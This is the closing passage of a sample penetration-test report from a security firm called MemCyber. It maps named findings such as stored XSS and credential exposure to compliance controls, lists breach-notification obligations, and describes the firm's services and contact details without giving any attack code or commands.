C-03 Public S3 write	6.4.3, 6.5.6	CC6.1, CC6.7	V14.2.4, V10.3.1
C-04 KYC callback	6.2.4	CC6.1, CC6.8	V13.1.1, V13.2.1
C-05 Cred exposure	6.5.3, 8.3.1	CC6.1, CC6.6	V2.10.1, V10.2.1
C-07 Mass PII dump	6.2.4	CC6.1	V4.1.3, V8.3.4
C-10 Stored XSS	6.2.4	CC6.1	V5.3.3, V14.4.1

Notification obligations triggered by confirmed findings: GDPR Article 33 (72-hour notification); applicable African data-protection regulations requiring notification to the relevant supervisory authority; contractual obligations with institutional investors and custodial partners.

8. About MemCyber

MemCyber

MemCyber is an offensive-security practice specializing in full-surface penetration testing for fintech, Web3, and platform businesses. Our engagements emphasize realistic, chained attack-path analysis: we demonstrate not just the presence of vulnerabilities, but the end-to-end path from an internet-connected attacker to an irreversible business outcome.

We work exclusively under written authorization, with documented scope, safe-harbor clauses, and forensic audit markers. Deliverables include developer-ready remediation code, integration tests, and measurable validation KPIs.

REPRESENTATIVE CAPABILITY

- Full-surface penetration testing (web, API, mobile, cloud, source)
- GraphQL / federation authorization audits
- AWS / GCP / Azure cloud-configuration review
- Smart-contract audits (EVM, Move, Solana)
- OTA / mobile supply-chain review
- Red-team engagements and incident-response support

CONTACT

Website	**memcyber.com**
Lead researcher	Atilla Mammadli
Email	**atilla.m@memcyber.com**

— End of Report —

This document is provided as a public sample. All client-identifying material has been redacted. A complete, non-redacted engagement report is available to qualified prospects under NDA.